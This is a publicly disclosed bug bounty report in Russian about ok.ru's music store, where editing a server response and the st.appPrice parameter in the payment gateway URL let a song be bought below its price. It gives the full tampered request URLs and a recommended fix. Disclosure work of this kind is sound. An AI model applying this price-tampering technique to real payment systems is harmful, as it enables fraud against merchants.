HexBrain

ok.ru · Report #78219

Покупка песни дешевле, чем она стоит.

Validstatus
3upvotes
29 Apr 2016disclosed

How it was found

Итак, часть песен в приложении можно купить. Нажимая на кнопку купить, происходит запрос к серверу (обрезано, для удобства):

GET /isDownloaded;jsessionid=DZSUq1yT_UMNFNcYk5-mZ10DGJbUCoNYFHRUcNNwINHoSrDkkkf4gInosiPimoqGaysNvWs7GV7fnOMGgfsbCA.hHaqWq9PyS8b9PmEoYf_cA?tid=90920917758231

В ответ получаем:

{"title":"Шахерезада","trackId":90920917758231,"price":10,"copyrightOwnerName":"Digital Project","isBought":false,"copyrightOwnerId":22,"image":null,"artist":"Натали"}

Видно что песня, ещё не куплена: "isBought":false И что цена у неё: "price":10 Настроив автоматическую замену получаемого контента (в burp это довольно легко сделать, см, скриншот) меняем цену получаемую от сервера на 1. Нажимаем, "Купить". Происходит открытие платёжного гейта(запрос в бэкграунде):

https://paymentnew.ok.ru/dk?st.cmd=richPayment&st.reqId=-lqbcaRr5Rw-lvBTEc_nro7Ema4SvW7OY1hv-5Ce_LFQdsbKnrYg4HIxuoCH0UvKY35Q4ndQdhRXA_Z3x7ummPimUcD-g664F4cI5Wj7kEd-4vrFEIGUpnDZPtv3SJNA&st.timestamp=1437680542328&st.appName=0L_QtdGB0L3RjyDQndCw0YLQsNC70LggLSDQqNCw0YXQtdGA0LXQt9Cw0LTQsA**&st.appCode=90920917758231&st.currency=OK&st.appPrice=1&st.callback=true&st.srv=22

Уязвим параметр st.appPrice, его изменение в урле никак не влияет не целостность запроса (поменяем на 2):

https://paymentnew.ok.ru/dk?st.cmd=richPayment&st.reqId=-lqbcaRr5Rw-lvBTEc_nro7Ema4SvW7OY1hv-5Ce_LFQdsbKnrYg4HIxuoCH0UvKY35Q4ndQdhRXA_Z3x7ummPimUcD-g664F4cI5Wj7kEd-4vrFEIGUpnDZPtv3SJNA&st.timestamp=1437680542328&st.appName=0L_QtdGB0L3RjyDQndCw0YLQsNC70LggLSDQqNCw0YXQtdGA0LXQt9Cw0LTQsA**&st.appCode=90920917758231&st.currency=OK&st.appPrice=2&st.callback=true&st.srv=22

Жмём перейти к оплате - я оплачивал вебманями, но не думаю, что это имеет значения. Покупаем 2 Ок за 2 рубля - видим в нотификации "Вы получили 2 OK." И в итоге в разделе "Музыка" в подразделе "Мои покупки" искомая песня за 2 ОК.

Что явно влияет на целостность приложения с финансовой точки зрения. Параметр st.appPrice должен:

  • входить в параметры которые используются для подписи запроса.
  • и проверяться на стороне сервера на соответствие запрошенному продукту.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original